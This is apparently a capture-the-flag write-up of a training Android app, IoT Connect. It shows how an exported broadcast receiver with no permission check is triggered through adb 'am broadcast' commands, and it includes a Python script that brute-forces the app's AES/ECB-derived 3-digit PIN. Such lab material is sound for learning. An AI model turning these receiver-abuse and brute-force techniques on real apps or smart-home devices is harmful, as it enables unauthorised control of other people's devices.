Skip to main content

Command Palette

Search for a command to run...

Mobile Hacking Lab: IoT Connect - Android Broadcast Receiver Challenge

Updated
4 min read

Objective: Exploit an exported broadcast receiver to bypass PIN validation and control IoT devices

This challenge was part of Mobile Hacking Lab exploiting broadcast receiver, IoT Connect. It was interesting to learn about broadcast receivers, AES encryption weaknesses, Let me walk you through.

Initial Reconnaissance - Manifest Analysis

I started by examining the AndroidManifest.xml to identify the attack surface.

<receiver
    android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="MASTER_ON"/>
    </intent-filter>
</receiver>

What I noticed:

  • MasterReceiver is exported - accessible from outside the app

  • It listens for the MASTER_ON action

  • No permission requirements protecting it

This was a clear entry point for external exploitation.

First Attempt - Understanding Broadcast Receivers

I tried triggering the receiver using am broadcast

am broadcast -n "com.mobilehackinglab.iotconnect/.MasterReceiver" --es MASTER_ON "1234"

Nothing happened. I was confused about the proper syntax.

The Fix - Using Intent Actions

The issue was that I was specifying the component name instead of the intent action. Broadcast receivers respond to actions, not component names directly.

Corrected command:

am broadcast -a MASTER_ON --es key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"

Still nothing. I needed to understand what the receiver actually does.

Code Analysis - The Receiver Logic

I started examining the MasterReceiver implementation:

public void onReceive(Context context, Intent intent) {
    if (Intrinsics.areEqual(intent.getAction(), "MASTER_ON")) {
        int key = intent.getIntExtra("key", 0);
        if (context != null) {
            if (Checker.INSTANCE.check_key(key)) {
                CommunicationManager.INSTANCE.turnOnAllDevices(context);
                Toast.makeText(context, "All devices are turned on", 1).show();
            } else {
                Toast.makeText(context, "Wrong PIN!!", 1).show();
            }
        }
    }
}

Key observations:

  • The receiver expects an integer extra named key, not a string

  • It validates the PIN using Checker.check_key()

  • Success triggers turnOnAllDevices()

The Integer Issue

My command was using --es (string extra) instead of --ei (integer extra):

am broadcast -a MASTER_ON --ei key "123" -n "com.mobilehackinglab.iotconnect/.MasterReceiver"

Still no Toast appeared. Why?

The Toast Problem - App Must Be Running

I used to be an android developer in the past and quickly remembered that Toast messages require ui context, an foreground activity to display.

Toast.makeText(context2, "All devices are turned on", 1).show();

The context2 here is the ui context required.

The broadcast receiver works without the app being open, but the Toast won't show. I needed to start the app first:

am start -n com.mobilehackinglab.iotconnect/.LoginActivity

Now when I sent the broadcast:

am broadcast -a MASTER_ON --ei key 123

I saw: "Wrong PIN!!"

The receiver was working. Now I just needed the correct PIN.

Breaking the Encryption - PIN Validation Logic

I examined the Checker class to understand the PIN validation:

public final boolean check_key(int key) {
    try {
        return Intrinsics.areEqual(decrypt(ds, key), "master_on");
    } catch (BadPaddingException e) {
        return false;
    }
}

public final String decrypt(String ds, int key) {
    SecretKeySpec secretKey = generateKey(key);
    Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
    cipher.init(2, secretKey);
    byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds));
    return new String(decryptedBytes, Charsets.UTF_8);
}

private final SecretKeySpec generateKey(int staticKey) {
    byte[] keyBytes = new byte[16];
    byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
    System.arraycopy(staticKeyBytes, 0, keyBytes, 0, 
                     Math.min(staticKeyBytes.length, keyBytes.length));
    return new SecretKeySpec(keyBytes, algorithm);
}

The encryption scheme:

  1. The encrypted string is: OSnaALIWUkpOziVAMycaZQ==

  2. The PIN is converted to UTF-8 bytes and zero-padded to 16 bytes (AES key size)

  3. AES/ECB is used to decrypt the base64-encoded ciphertext

  4. If the decrypted value equals "master_on", the PIN is correct

Brute Force Attack - Finding the PIN

Since the PIN is only 000-999, I wrote a Python script to brute force it:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

ENCRYPTED_PIN = "OSnaALIWUkpOziVAMycaZQ=="

def generate_secret_key(static_key):
    key_bytes = bytearray(16)
    static_key_bytes = str(static_key).encode('utf-8')
    key_bytes[:len(static_key_bytes)] = static_key_bytes[:16]
    return bytes(key_bytes)

def decrypt_pin(encrypted_pin, secret_key):
    cipher = AES.new(secret_key, AES.MODE_ECB)
    decrypted = cipher.decrypt(base64.b64decode(encrypted_pin))
    return unpad(decrypted, AES.block_size).decode('utf-8')

for i in range(1000):
    pin = f"{i:03d}"
    secret_key = generate_secret_key(pin)
    try:
        decrypted_pin = decrypt_pin(ENCRYPTED_PIN, secret_key)
        if decrypted_pin == "master_on":
            print("PIN found:", pin)
            break
    except (ValueError, KeyError):
        continue

Result: PIN found: 345

Exploitation - Turning On All Devices

Now I had everything I needed:

am start -n com.mobilehackinglab.iotconnect/.LoginActivity && am broadcast -a MASTER_ON --ei key 345

Toast displayed: "All devices are turned on"

Key Takeaways

  1. Intent actions vs component names - Broadcast receivers respond to actions in intent filters

  2. Data types matter - Using --ei for integers vs --es for strings is critical

  3. Toast visibility - Toasts require a foreground activity context to display

  4. Weak encryption - Using a small keyspace (3-digit PIN) makes brute force trivial

  5. AES key derivation - Simply zero-padding a PIN to 16 bytes is cryptographically weak

Disclaimer: While all technical work and problem-solving was done by me, this writeup was edited with assistance from an LLM to improve grammar, clarity, and flow.